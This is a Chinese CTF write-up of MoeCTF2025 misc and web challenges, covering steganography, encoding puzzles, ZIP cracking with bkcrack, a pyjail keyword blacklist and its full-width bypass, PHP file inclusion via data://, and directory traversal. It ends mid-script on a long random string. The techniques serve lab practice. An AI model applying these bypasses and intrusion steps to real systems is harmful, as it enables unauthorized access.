0%

MoeCTF2025-WEB-MISC

前言

依旧在西电ctf刷题

misc

2048_master

附件给了一个2028游戏,跑了一遍直接多了一个bat文件,打开对应的就是游戏里每个数字的大小,2的n次方,题目说到16384就可以得到flag,直接在dat文件修改14,然后运行游戏玩一会就得到flag

image-20260123192741250

image-20260123192806947

moectf{Y0u_4re_a_2048_m4st3r!!!!r0erowhu}

Misc入门指北

这里直接搜索moectf{,就可以直接搜索到

image-20260123192915301

虽然看不到但是可以直接复制

moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}

Rush

附件是一个gif,直接看有一帧是有二维码的

image-20260123193528475

但是二维码并不完全,这里用点手段补一下就行了,

image-20260123195526296

这样就能扫出来了

ez_LSB

题目提示这么明显了就是lab

image-20260123200439043

base64解码得到flag

image-20260123200514541

moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}

ez_锟斤拷????

搜了搜锟斤拷的来源就是当UTF-8的多字节序列被错误地用GBK解码时,这些特定的字节组合正好对应了「锟斤拷」这三个汉字。虽然附件不只有这三个,但原理应该差不多。exp

1
2
3
4
5
乱码 = "锝嶏綇锝咃絻锝旓絾锝涳讥锝庯迹锛愶絼锛戯綁锝庯絿锛匡絿锝傦极锛匡紶锝庯激锛匡嫉锝旓絾锛匡紭锛匡紤锝擄伎锛旓綍锝庯紒锛侊絽锝楋綏锝楋綏锝濇伃鍠滀綘寰楀埌寮楁媺鏍煎悗闈㈠叏鏄敓鏂ゆ嫹閿熸枻鎷烽敓鏂ゆ嫹"

flag = 乱码.encode("gb18030").decode("utf-8", errors="replace")
print(flag)

image-20260123202840672

moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}

weird_photo

宽高隐写,随波逐流一把梭

image-20260123203916976

SSTV

考察sstv

image-20260123214326330

moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}

encrypted_pdf

解锁 PDF文件。删除PDF文件的保护密码。直接删除密码进入,然后直接搜关键字

image-20260123211604637

这个图片挡住flag了,把图片删了

image-20260123211714450

哈基米难没露躲

这个随波逐流分析附件

image-20260123212819135

在最后有一个网址,哈吉米翻译器这一题太有意思了,以前遇到过东北方言的编程语言,这次是哈吉米,把附件翻译过来就是

image-20260123213159816

提示文本隐写,考虑零宽隐写

image-20260123213813399

moectf{1b8956b9-a423-4101-a1bd-65be33682c82}

捂住一只耳

题目名称就是提示,用audacity打开音频,分离出两个声道,下面的是摩斯密码

image-20260124100103426

摩斯密码就是..-. .-.. .- –. .. … —… …. .- .-.. ..-. ..–.- .-. .- -.. .. — ..–.- .. -. ..–.- -..- -.. ..-

image-20260124101025775

moectf{HALF_RADIO_IN_XDU}

Enchantment

分析流量包得只上传一个图片,导出文件

upload

根据题目描述应该从是附魔台的文字下手,搜索资料得到是标准银河字母,一一对照

准银河字母、当铺密码、摩斯电码详解-CSDN博客

moectf{now_you_have_mastered_enchanting}s

MoeCTF指导版

我真服了这道题了,这个耋耄坏得很,首先根据提示一步一步走,喂它小鱼干,到25个之后就不能再喂了,点flag,有三个题目

image-20260124105537942

一共有24个题目

image-20260124105947721

这考察的有点难评,在9月1日记录两个成绩

image-20260124110602581

image-20260124110748993

最后应该是13930

img

点一下就知道了是73

最后是241393073,校验后还是不对看wp才知道有个提示

img

赛后题目没有这个提示,修改后就是241410173,再次校验,虽然说还不对但是可以校验

image-20260124111549321

然后最后一个问题不一样是说他说的话有多少个字,

image-20260124114639840真无语了答案是14+28+14=56,最后的账号是241410156

image-20260124111948002

输入password

image-20260124114814625

然后是incorrect!注意要加感叹号,然后就找回密码,那个字看不清,但是全选可以看到有文字xbhiuebkjvs,找回密码

image-20260124120157130

密码是六个*,然后分析前端代码,是要进入镜像模式才能获得flag,设置->左右镜像反转->flag->左右镜像反转获得flag

image-20260124120458994

这是无语了

WebRepo

扫描二维码得到内容:Flag is not here, but I can give you a hint: Use binwalk.binwalk提取出来一个git文件

image-20260124122226527

ez_ssl

主要考察tls流量解密,题目说上传了一个文件

image-20260124122818260

就是这个sss.log,新建一个sss.log

image-20260124122909644

导入解密然后看解密流量

image-20260124123034805

这里上传了一个压缩包,导出发现需要密码

image-20260124124159843

image-20260124130056520

爆破密码是6921682,解压得到附件是OOK编码,解码

image-20260124124433954

ez_png

这一题没啥说的,binwalk提取然后得到flag

image-20260124124936129

moectf{h1DdEn_P4YlOaD_IN-Id4T}

万里挑一

压缩包嵌套而且每一个解压后得到的密码都不一样,那就要把这些密码当作一个字典爆破,那就写一个脚本,解压压缩包并提取出里面的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
import os
import zipfile
import tarfile
import gzip
import bz2
import shutil
import chardet
from queue import Queue

# 用于存储所有提取的密码(去重)
password_set = set()

def detect_encoding(byte_str):
"""使用字符编码自动检测"""
result = chardet.detect(byte_str)
return result['encoding'] if result['confidence'] > 0.6 else None

def decode_filename(original):
"""增强型中文乱码修复"""
try:
if isinstance(original, str):
byte_str = original.encode('cp437')
else:
byte_str = original
except:
byte_str = original if isinstance(original, bytes) else original.encode('utf-8')

detected_enc = detect_encoding(byte_str)
if detected_enc:
try:
return byte_str.decode(detected_enc)
except:
pass

for enc in ['gb18030', 'gbk', 'big5', 'utf-8', 'shift_jis', 'cp437']:
try:
return byte_str.decode(enc)
except:
continue

try:
return byte_str.decode('gb18030', errors='replace')
except:
return str(byte_str)

def extract_password_from_pwdtxt(file_path):
"""从pwd.txt中提取密码(格式:The password is:xxxxxx)"""
global password_set
try:
# 读取文件(自动适配编码)
with open(file_path, 'rb') as f:
content_bytes = f.read()
encoding = detect_encoding(content_bytes) or 'utf-8'
content = content_bytes.decode(encoding, errors='ignore')

# 正则匹配密码格式
import re
# 匹配 "The password is:xxxxxx"(xxxxxx可为任意字符,直到换行/结束)
pattern = r'The password is:(.+?)(\n|$)'
matches = re.findall(pattern, content, re.IGNORECASE) # re.IGNORECASE忽略大小写

# 提取并添加到密码集合(去重)
for match in matches:
password = match[0].strip() # 去除前后空格
if password: # 过滤空密码
password_set.add(password)
print(f"✅ 从 {file_path} 提取到密码:{password}")
except Exception as e:
print(f"❌ 读取 {file_path} 失败:{str(e)}")

def get_compression_type(filename):
"""智能判断压缩类型"""
filename = filename.lower()
if filename.endswith('.zip'):
return 'zip'
elif any(filename.endswith(ext) for ext in ['.tar.gz', '.tgz']):
return 'tar.gz'
elif any(filename.endswith(ext) for ext in ['.tar.bz2', '.tbz']):
return 'tar.bz2'
elif filename.endswith('.tar'):
return 'tar'
elif filename.endswith('.gz'):
return 'gz'
elif filename.endswith('.bz2'):
return 'bz2'
return None

def repair_zip_filename(zip_info):
"""专用ZIP文件名修复"""
repaired = decode_filename(zip_info.filename)
return repaired.replace('\\', '/').split('/')[-1]

def safe_extract_zip(file_path, extract_dir):
"""增强版ZIP解压"""
try:
with zipfile.ZipFile(file_path, 'r') as zip_ref:
for zip_info in zip_ref.infolist():
try:
orig_name = repair_zip_filename(zip_info)
zip_info.filename = orig_name
output_path = os.path.join(extract_dir, orig_name)
if zip_info.is_dir():
os.makedirs(output_path, exist_ok=True)
else:
os.makedirs(os.path.dirname(output_path), exist_ok=True)
with open(output_path, 'wb') as f:
f.write(zip_ref.read(zip_info))
# 如果是pwd.txt,提取密码
if orig_name.lower() == 'pwd.txt':
extract_password_from_pwdtxt(output_path)
except Exception as e:
print(f"❌ 文件 {zip_info.filename} 解压失败: {str(e)}")
return True
except Exception as e:
print(f"❌ ZIP解压失败: {file_path} - {str(e)}")
return False

def extract_file(file_path, extract_dir):
"""解压处理器(增强中文支持)"""
filename = os.path.basename(file_path)
comp_type = get_compression_type(filename)

try:
if comp_type == 'zip':
return safe_extract_zip(file_path, extract_dir)
elif comp_type in ['tar', 'tar.gz', 'tar.bz2']:
if comp_type == 'tar':
mode = 'r'
else:
mode = 'r:' + comp_type.split('.')[-1]
with tarfile.open(file_path, mode, encoding='utf-8') as tar_ref:
for member in tar_ref.getmembers():
member.name = decode_filename(member.name)
tar_ref.extractall(extract_dir)
# 扫描tar解压后的pwd.txt
for root, _, files in os.walk(extract_dir):
for f in files:
if f.lower() == 'pwd.txt':
extract_password_from_pwdtxt(os.path.join(root, f))
elif comp_type == 'gz':
target_name = decode_filename(filename[:-3])
target_path = os.path.join(extract_dir, target_name)
with gzip.open(file_path, 'rb') as f_in, open(target_path, 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
# 如果解压后是pwd.txt,提取密码
if target_name.lower() == 'pwd.txt':
extract_password_from_pwdtxt(target_path)
elif comp_type == 'bz2':
target_name = decode_filename(filename[:-4])
target_path = os.path.join(extract_dir, target_name)
with bz2.open(file_path, 'rb') as f_in, open(target_path, 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
# 如果解压后是pwd.txt,提取密码
if target_name.lower() == 'pwd.txt':
extract_password_from_pwdtxt(target_path)
else:
return False
return True
except Exception as e:
print(f"❌ 解压失败: {file_path} - {str(e)}")
return False

def process_queue(q):
"""队列处理器(递归解压+提取密码)"""
while not q.empty():
file_path = q.get()

if not os.path.exists(file_path):
continue

dirpath, filename = os.path.split(file_path)
comp_type = get_compression_type(filename)

if comp_type is None:
# 如果不是压缩文件,检查是否是pwd.txt
if filename.lower() == 'pwd.txt':
extract_password_from_pwdtxt(file_path)
continue

# 创建解压目录
base_name = decode_filename(filename.rsplit('.', 1)[0])
extract_dir = os.path.join(dirpath, base_name)
os.makedirs(extract_dir, exist_ok=True)

if extract_file(file_path, extract_dir):
print(f"✅ 成功解压: {file_path} -> {extract_dir}")

# 扫描新生成的文件(递归处理压缩包+pwd.txt)
for root, _, files in os.walk(extract_dir):
for f in files:
full_path = os.path.join(root, f)
# 检查是否是压缩文件
if get_compression_type(f):
q.put(full_path)
# 检查是否是pwd.txt(防止嵌套在文件夹中)
elif f.lower() == 'pwd.txt':
extract_password_from_pwdtxt(full_path)

def save_password_dict():
"""保存所有提取的密码到字典文件"""
if not password_set:
print("❌ 未提取到任何密码!")
return

# 排序后保存(可选,方便查看)
password_list = sorted(list(password_set))
dict_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'password_dict.txt')

with open(dict_path, 'w', encoding='utf-8') as f:
for pwd in password_list:
f.write(pwd + '\n')

print(f"\n🎉 密码提取完成!共提取 {len(password_list)} 个唯一密码")
print(f"📁 字典文件保存路径:{dict_path}")

def main():
"""主程序"""
import sys
# 设置中文环境
os.environ['PYTHONUTF8'] = "1"
if os.name == 'nt':
os.environ['PYTHONIOENCODING'] = "utf-8"
os.environ['PYTHONLEGACYWINDOWSFSENCODING'] = "utf-8"

cur_path = os.path.dirname(os.path.abspath(__file__))
# 指定要解压的压缩包(脚本同目录下的password.zip)
input_file = os.path.join(cur_path, 'password.zip')
# 可选:手动输入压缩包路径
# input_file = input("请输入要解压的压缩包路径:").strip()

if not os.path.isfile(input_file):
print(f"❌ 文件不存在: {input_file}")
sys.exit(1)

print(f"🚀 开始处理压缩包:{input_file}")
q = Queue()
q.put(input_file)
process_queue(q)

# 保存密码字典
save_password_dict()

print("\n✅ 所有操作完成!")
input("按任意键退出...")

if __name__ == "__main__":
main()

image-20260124130641622

一共10000个密码当作字典爆破

image-20260124130758324

然后解压得到一个压缩包,提示的很明显是明文攻击,但是我们没有完整的明文文件,就可以从exe文件下手

image-20260124190949929

构造一个bin文件

image-20260124192226655

然后爆破

1
bkcrack.exe -C flag.zip -c "明文.exe" -p 1.bin

爆破得到的是密钥不是密码,要用密钥生成一个没有密码的新 ZIP 文件

image-20260124190918500

1
bkcrack.exe -C flag.zip -k eec878a3 6808e48f 3aa41bd8 -D 2.zip

得到没有加密的压缩包,

image-20260124193018258

moectf{Y0u_h4v3_cho5en_7h3_r1ght_z1pf1le!!uysdgfsad}

Encrypted volume

解压压缩包得到一个0kb的文件还有一个加密容器,刚开始以为文件名就是密码,发现不对,然后随波逐流分析压缩包发现有隐藏图片

00002048

容器里文件内容

1
+++++ +++++ [->++ +++++ +++<] >++++ +++++ .++.< +++[- >---< ]>-.- -.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- --.<+ +++[- >++++ <]>++ +++.< +++[- >---< ]>--- -.<++ +++[- >---- -<]>- ----- .++++ ++++. +++++ +++.- ----- .<+++ +[->+ +++<] >++++ ++.<+ ++++[ ->--- --<]> -.<++ ++++[ ->--- ---<] >---- .<+++ ++++[ ->+++ ++++< ]>+++ +++++ ++.<+ +++++ +[->- ----- -<]>- --.<+ ++++[ ->+++ ++<]> +++++ ++++. <++++ +[->- ----< ]>--- ----- --.<+ +++++ [->++ ++++< ]>+++ +++++ .<+++ [->-- -<]>- .---- ---.< +++++ [->++ +++<] >++++ +.+++ .<+++ [->-- -<]>- --.<+ +++[- >---- <]>-- ----- -.--- ---.- .<+++ +[->- ---<] >---- ---.< +++++ +[->+ +++++ <]>++ +++.- ----- -.<++ +++[- >++++ +<]>+ +++.+ +++++ +++.- ----- --.<+ +++++ [->-- ----< ]>--- -.<++ +++++ [->++ +++++ <]>++ +++++ .<

image-20260124195303683

moectf{nOW_YoU-h4V3_UNlocKED-VOlumE}

Pyjail 0

连接上容器,首先输入逆序给定的字符串,然后得到

image-20260314100835130

根据提示,flag在环境变量

image-20260314100946413

Pyjail 1

1
2
3
4
5
6
7
8
9
10
11
def chall():
user_input = input("Give me your code: ")

# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return

result = eval(user_input)

这里是过滤了关键字,可以使用全角字符绕过

web

0 Web入门指北

image-20260124195704316

01 第一章 神秘的手镯

附件给的就是咒语,但是不能粘贴,跟学习通一样难不倒我,直接禁用js然后粘贴就行,flag就在shizhou.js中

image-20260124200551026

02 第二章 初识金曦玄轨

根据提示抓包

image-20260124200907092

到/golden_trail再抓包

image-20260124201127213

03 第三章 问剑石!篡天改命!

就是考察抓包改包

level=s

{“manifestation”:flowing_azure_clouds}

image-20260124201645717

05 第五章 打上门来!

目录穿越

image-20260124202518395

10 第十章 天机符阵

测试一下看回显是xml

image-20260124203534008

试了好久都不行,把标签改一下改成输出

image-20260124204630309

12 第十二章 玉魄玄关·破妄

蚁剑连一下就行了,没有找到flag文件,就看环境变量

image-20260124205404679

16 第十六章 昆仑星途

1
2
3
4
5
<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php");

题目还给了一个附件,有配置选项

1
2
3
[PHP]
allow_url_fopen = On
allow_url_include = On

这还说啥啊,直接用data协议

?file=data:text/plain,

Moe笑传之猜猜爆

代码逻辑在/static/main.js,只要在控制台输入randomNumber就可以得到随机数获得flag

image-20260126112003658

01 第一章 神秘的手镯_revenge

这还要看看这个小说讲的啥了,密码在wanyanzhou.txt,有备份那就有wangyanzhou.txt.bak,还要把密码输入500次写一个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(function() {
var input = document.getElementById("passwordInput");
var button = document.getElementById("unsealButton");
var text = "XqRqsDZWVYjoXvSwMYGklZOGwVpnmPKTPJXhTiFKvhvcseSrXEbawElbdYmJRydaISVcmpLTscDEPSlbIkUNKEvdzivnsrfSCnGolKgQOmVFhxKxhMitBzNeBHNyOgwckpBKdMveKRzqTIrcnvhVgXoxZrjKmuFkFahmHtmTSCKjnjethRbwMPKeJbyLSPAzROgVTuNIChkunCQdCLnoEJWzTscdjGHYzuHJZPMbxqtWteSbkogopAGBxprYdnZEGjfhJfYKlVlVarMHKwlHcIpsHwXgcsvWVKijiTYiQTfpIMHfqyroLmSqLgugtVlDQXeaGTxSWCfkMsMxnucRAxvKeRkUkpnfLrAtMfnBpgwbgLSHsXEPcUxuJwcdxYEfispMnEluMGWPtiKWukWJmcixVbTrgBhRmSqeMWZorscrwsxerZnmKRmbcBIukPQIHOxeoPOXnbngPGdpFrnoDAhCkuQeyDreHKQIutGOwDmQrtuFZYZwPlDMuBZPqPcIDrSHUZvGQKDLARkVfmEQdLeBSVoRAOUJZXAiafPXCMigwuNPzElbajcHnpzBfUvxhDTFvdRsbnvdaYDmyjkNLqrFbRqspCJxrFAJaZkEisEaWkgvnTPTCZvPStbzuAVJRJqcnthlUXbigHdyMERTwFmhGktdbvyHxMWZkIhkMhDUHcrnrqezOsoaZLvifeiFLBUlHJEhtHoStqBtQRenMJPVWLzoFCtBlVSlUaQKnXCedKVGocnoWJiOfnpXVPOxAXQITpeXgfdmszXzOTEdTjqnEPAbQcOfRQFnZPNeygovEvmlhZfKNHQeRcnjHweNceHuFBTciWcFSQNZmIlnpiMkqiQyZOENdGFayRLHRuAHYcFOeZoaWsVwciPUtHRdNxfBtENIVDTPzqnBPdtRdOVWKEaInMAmgTUFSrdghOVOefjxtitiabICQNdLUItQILjyAhCBvnTmzHALWouisBfvTGtHjcYShuKdejEobmfYOypmQRJiKeUAyIGcKPsLDYOVAdIUgujXMsDsOLyrkCqjVAwkJnymwVcIGQPXixGWZWpychnsCINBItKqzcmhoYLWhadHoihjWVBlFgpHKfXpOjXYdhBLjfZUFICrlIEJeDztXIhnMsRITfNhFSjfsQwEktpzryjKvoedbAgFGnIshgIwyJANiKQJzdPdZkckQPVXYAKfekJvIwlQTZOwhjepNEJGhyahbEuNPtkCXVaNVkUvQHRAQVXtAQGTBUlWpZwfuFjKwvjNfzkCmcVeCPUCRSDXKSKQjNOkmeYabmjtNVYclVEredbjBiqXWeMCXaXPltDgneMPJaGIYHyfbWqNLwJCqPsdJxCDvaIuYXDHVLfwPwQuvUGcXvJZmcyACILNBDHnGKXFnUpExHTHrcgyIKCDSzeUsyOYfxnKyAmsUPgWgfdcJuLGAPnLvLnFuKXNUThohGpagqOIucLUtSHYBJvlPzLnJXtBIryPDyWtZuvOcoLBUkWapklHXLNQDonMyunmuoAuqkvdCvWXvIrdXZtHrgwsDuZiytotfKBAMwNGiVDZGlMzPKGpIeFzCLuXYsVXQZfYXoPuBNJyEFNvhlnzDbAieaNycIwKCtysQxbjejrEJVzuaNWpKqaduNtdmAjFpQFKFkoukCGsoscynKmpOTRhBlKlcurfCSzckDmrABkvUnTJBGBjKQeVEZRpfcdNbqEJAGfeaMtKiqfKcmhjngjEuVQaDmgYOdRxGOBGIRBgNCwsUAqNhVxzPkVSkNRLuVbAEApwnXjeipSbNDROtZSuPItgRUIJGcDiSxJwgcqximjKfskPXuHbhowALsYRPrjrteNPhiUKQpFgYlRBHJMuOQPtIYcIPIFHTpwMVpRwRvjpDKzlKmuXZVHAvswCIGoHxMahgaueHzkQhrGXdiXZswbkbpsOFOskXcgBUXBTjXacDJzbqFYhMpQXykStZCMJpmzkBfygwmQERoDIyMCGiJiCmOyTmrepOZIxfPlONsapLxOACdcfxLxsMLUsMziTpqcxAOpFMvghzFYRSwMQmGLDiaQsTZAZurHBSuaFHmXQohjUSqicRyHfrtIKygKBsCdXWTDgzcvHYGnbghSlMeHiMHQZtFoyPoVxyPNgnUxgiXZpXWokTBfnuXLDxqkyBnXWlIwFODufTCoevNmvHKZFAhPNOfuJxnqyfigeihgefMyPRGtjTwPxgkFGleTQOczfIhKVOSAwkfYLzesAxSHaqsWUfdRIxVmgsdedlnRFKHbRIMUHcRELhMLcpGiAJmqmQKECsfpXUvtBcrzRQcORBDNPVlQjdsHZXaHNOhQbdigsdszLIHPnXzqbKhBchruNLjBlaydvIHTVmSlyHtIyCyFocdRlJTozqSQNAvQySRZpNqUPzpQuKWLxUPbhYjvGlEpLWnPenWboqEfEMsAIxdbJQMKfNXakvwtRsTyHMSPOLIGxhLCiEnBnkJLFiDrkLkqBeRqxatdzFjaOVwhEKLAWxHViZadRjfQfoPOnuXPIFLPBnAleremNPcnTwAjgZADfYxlDrtcoQFGubCdTYPFSqXPjOUeAGFuwRvpeQWowxajsTnMcOfPtYBKqJwUQTislZbOsMyBpFCQaQYjSKyxGcSyceUGvtOhxImvTmiMfsmejhFAVALTvdRGAInBuxibmSYloasOJIntRlxjWeQGVklDfBGUkrAfvtNXRVBOvltzigxMUmEIhIjIgwYDWhCUAgQImixmgXDYQHUPRdfNGerNueMivayPSNRheVPTVhPaHDvFPcedCpRGOcAXLBrPnKlyHjDueOZdpfZKabnbdvYilMSALQHjVfkDjXVgsvIyNZEcfobkydwZPfKqTCXgPkPdgVaBmJKIYNmGxStldrBjZAykFDMfoiFIRLGigwdRvilQdycSAuXShvACVReSOifjuWlOSbKhXjfPiYibMxwIOcYtqJDBsbzqsMpsUbnVOVNCBHCVwbaghdaZwKwOcWsFdTxICJWXrEgJKWVrtPLUnYehdKUIbHUxWvzflPvLJMIJdoPNcjlPyZuYbrNgznMPDQIskYGeKHEIxbsAzFGPSbHEYIfnakwrHtifynYQBGcIMtEfSTmzltyveQBEdyrPHurWSEPiEGaGFHNtYqFqZSvMOkfEkFGNUNehiTqrLJMZPmjBSlnkLaQtjTslRqwOSmxZdQzpgBzTFVxLtBnUspHSqUyBLXbRMViuwZnVFyEFEyzlISCdtwpnKanKdroLgotHdEhGyucMuGyqStCiZbxKIlMLvuhLTUNbmXYhZbfTrHGlYbMjsXAiQovPHQrfvEjkiZVgyhEVPRkTzyAucZgafPFGOBXcSkOXKdlZrZpXQOJCKLtzBysNKVkHEgyrQPqnUKXILyujGsFqXzfLpDjewEmzGrGhRCSumVlXrwoBXRljkWHGDUsNUAdZKUDOwejOZifSOHJHiKCYNGtbdQEPaFKPnaYQzfxzGefKtAbRuJoZmHblZmwKrODQVMUOqmIZOuxzraxWdtpcRHFZCJlTdMcQLFVuTlOQNCkEPkRTFPLVNAqImzvpsWcNMPIvulFEhoWSDXlwpeBZxKIZApQOArGWITaVteYWBoEkHlPjHkQwxDnRfDyRXqjbzVgYcTDsMafXLustotnGcrbNyDimSxCiatNVnKgnTuyUYJtUdSAgJwLeFSPuAIfvbaxYNwRgDoGtaQcFxgDJMFgpCIuoEdwDChkoBVfDkaihdmPQZTwGcyNiSHpXLZfrszPoroaFSFoyZVysuPgwQpEQWQYqwLmfSCktrnuAUktVGnDvspNePKtABerKUsrjhJZnBtEsiRwoGDYVoSxzhDbLWysDJUWECVbNDtZEPLawlSblaIPtIfLJxpaJQnXQgVKIuWDZLmAlWfzxGmxEjtpLBmJCsvCyMemqylTnRXgqCzhfROrdtdPcrHtntoGyKnqjigbEfkdykWKlwQruRiDIVequOEJbHXdQCMIQAMTDXLQTgcLqmQlStExIAKMlNSXuhnUgYwTlVrqpadpTAzvLsTcopFOraXmxqCGqDiZhyUcWdraLNaxYlDTdjVkjHaWLVNDKvrDotXPOdLwPKGHiTpWzghIyopFBMJPEjaQlNJhZHctpMgvUawLrLnyuTxCejCavTOgQBwDFOdIZeawkGNWmwUzFauLxsqimLVSnEWPZYRAKHwHIWjCrPjtXTCeaCkVlrjRzhEvlwmnmrjlPqioroJpZDvJXtpOtHmsQheWgUnuDqjLUjWSzgdmuHBiNGsexkrxWqjIWCesrmJFgsLALwDKaONSCnKGTYvSHqsCdEnJmKbItitgTOlSigmioFqtEyaUKpqtYhWUBrtsLcfmfqojPScvTayNOmiJvAfczBUCUqdZexCqfBjsufdVdlKQWSVLfCnBydqAmVdhAnlSfrOTAIrgVXueYGjoJIByCoEJRtomAUqrTIcvnIdMoMjXkTEUjEwtEWorwefkTGalPEPnCJRjZJPHOWMPswlApIuNblsAXKXEnoxsaIwvhyOkHyMiYiFoCjXfgwlpiETVoUDfVqFpXclvKnwinPNHDRhnQwJZjATsqslVLeSMwSCIJTnatMuxMcAWrJdnwjWxYKHmJHOyEceCfwsmalGwVtJNXLpikQdhMYDYKFCxGrtSNaceCVuiEvQyBFycgCSwvAVjulXqbreazYTZPRhZdYqsvNKQfRpqITJXYZEizdNUCSRlNUKSGIrgLzBRdWfSzEObyJyCDlspgNPukmbIDwloSGWPXUbnoZPaZISqjkGlRihGcOtHmkwFBrhGIxutiLOZLfIvLpkQpcKcJvcYSoMXqiNYgrGvfTHFmKCwgdIGNmWPcwyfJhIphUJYjAMgFPzPMoWjElspZCbXDkQzihAwSlxNztzMbaUxEXhAizBxopqZMYazFBXQtBXSncriVJTgLbZrNfGFjctMTEmObPLpENwnovQHnBnPqYhFkqVkdqRoNoveCdoTGmgzlRJatIpByQGpjelGEmTGHELfxsIruzldvLMihnPzhLrfKMgCVOSOvDUrYhiuxnlVNgtilbQwoWbyMciXOQsfegmznLtaMzunRDscsnQCvZcwjtLWkuvidyjSGOSWGIRGzGyWcqjyJiWejPzIdfzLGaCSvNqhwEqAvCxcGVspJnyMgiXHOfetWgMeWGmoXHsXIucVwEvHaDWbidGZaTMzYTrKQPwbDbcRnUDymaMhuTYPlWqdNsTngReMqSvwDeBIjkIfDTnJwNvaUMdCrSiJYxbYAHgyTIvThjptWEDlhEBuIvrgkiRpsVpTruBKuJAZRHFBTBAxqKjyZVtscfYoJAwrvmpWCYxWAcvOjOGWuvphnjoTcpcyopaHPSYNSFpLhdsVqusxufxbwZjzwhGHjsCkvWUDHioXebCGemDKSutHqiOCImIhsvMcgfSvMcuvAdEhuRbDHqeVFzIMwUTjZrBNzfwcenAucPrjhOKOFXNKnwRBdiucOjdraiEGfDChPLiYkEnifjEoIDjRSDuNBDMRDxtCDLscfXtRCNZxWfYeKCpzYBiSrMoIpUbRklzEVwQVehVpkFyVrVtujiSPOLEFOVhCrDWChnroYGOLFwItVbxfZlzjkgOvdAEdTjLebjyKHSEYvMduWainHlZHbtIADMtmXOjyaVsasBDemSCOuLaFeAMatFmqPYgoPBuwgfhxpMngLGthLNaDRySnrXiuXGdsXebrmUvdueGmUSmhIuXJOVGpOhqwtzIcuirDThNsyLdExgVmHqUptlwLJVQwSlZOuVTHrbfRhuibwpkJwJkDPUGwGLyZorkRskRTqaeHlClCjQyOPZTmNzpDHxndJVsxAnpLuqHNktLHrGaPKTeDlhKWtxUltveFDgBERTnKHaSHdaZDKPxlKWmvGnQCLZJgSaVRplUSjaXjseKhXlMxdvTYJNsOgislKzLnepaxWECaTCflPMuJzOCMdBgCribrHLGlpBqTkTEcVHgoGQWUjVTUzjyPUhWbiBRxckxGThXqexUSgFmtfdYtKhTWtfjxoPiMYVBqERcWxoRkQSkULJiPhCSfXoUykfGSimlmHBHzWbsagTJdgYoKFuAjXCqKvnukUclWZVANxeRvCXUqojAgEaByFkNKxLgKObKgsHRijRzxQVaUprskCmATLwvgiDyIndpeaSiPljfSAhRtLwEtJBODxjtyMzIomksXUGbskQjSPdgwxJWaejgnfxwJrdHgMCrSrwBTuGfcojXVLWNClYvzJTyDXrLzkSqxbcLHdvcFMnwGMwLERmcmDUQuIvUdjIcJKXULTyPchlWLxVpuihKemfgFJfGApvzAnjShbxKUqAtBDPtpIgEKdyidUqNJocWbnPEbMxCZhRUjTrVteNiFDVmNaMBNetaWEtafXncKfEXYptvijKGuiZXgmoFBTHBriRIcDBdZJIaymIuZkNuZKWmpTLhScjTiJrKJDXvZeGVNJTDINafpQwiPkqbIvgqCTwkCWhZrgQIHuBkBgwOnOTCEHRxpaGbMJrsgLEOInhVKIwhIhgVjtqArCYijwoMhnsOqziDfnIZEfDaUOhSVyqhWKZIJsJfNWIStPqbyFmZPlnLYwbSoEkxwRSTfznbOGYrSjCSRlPEytycnVXAesjgQsMjuetJvdGSjxoNwufCPvxMUqDPKeQTsXQcIRQGoqCUDbZlHbYkFqJhruVmRiWGpDiPSKXOsBHvPvJNgaSOSHrNUiOwvBUgzWrTcBWAKrkBMobfONCzmXbRHganRgFJZsgvwTmkLiXfkyqcYjSWHKoSoyWOgoFGhXPturGEUCuIVBczaLnxzUkmwFbKAkcXuzaiByLNEaugBXnkXtuAqDKuMtMxGCKQHPIWtwkXoEXaCzqVnlmTueyDsKmQuqOBPekMIfdiSbHDVFbhbaUVPIFPchCuZxFBRaKceldvAWvgIkroVrHpvIEiHqBIYxGyueUVTWPoDZRnrAStGFHwYczxVuPKXEUHFpHDjHcDZTmWhBmfTJvRSLUYhieMwGCDevGSfMBPzEOGiwsGbgmUfXYmnraIfPRxPuvkOrDVrAqfTOrvcXhUSHYJPbhqOUAFepOuGwEuoKcOtrpbZKOFCziyUpAXzSWXDidtDCFnlIqaCfzWNogViWoPhSnZYESkYRoiaoaETPhnswIXoGhbRpmWkFkOvPmoWexFEGntpePDBePblefuMvqBAtehBAzYdOstJLrymkahWgKhftLgmHZpBNeGmKcZafkLkRMIAWkqWYdxPYQkQewixKynMQMrqCiMwSZjELaWecgsqphcanAFEZycECYiSBoajuMlZdlYQtPejrvtYRsugRbVlFaWDbGAsVOAyERmNDPswIlDoyhZuWqonEVztwxyrmcyVmvCYkjZjwmzhTfnDSLIzgbxgAXLGptfGhVnXpktjfCzbLNtojTmpUekDrsIPYPXPsQroMOwMLvTnUnqnmzqASbduRJeGNAmgKvprEHOyGTFJWbafwEdxphKzOviNwfPrBuGwCYZhOVwirGHQDRtsfPCVgEmpsdAJEXBzfnRYiaqJRy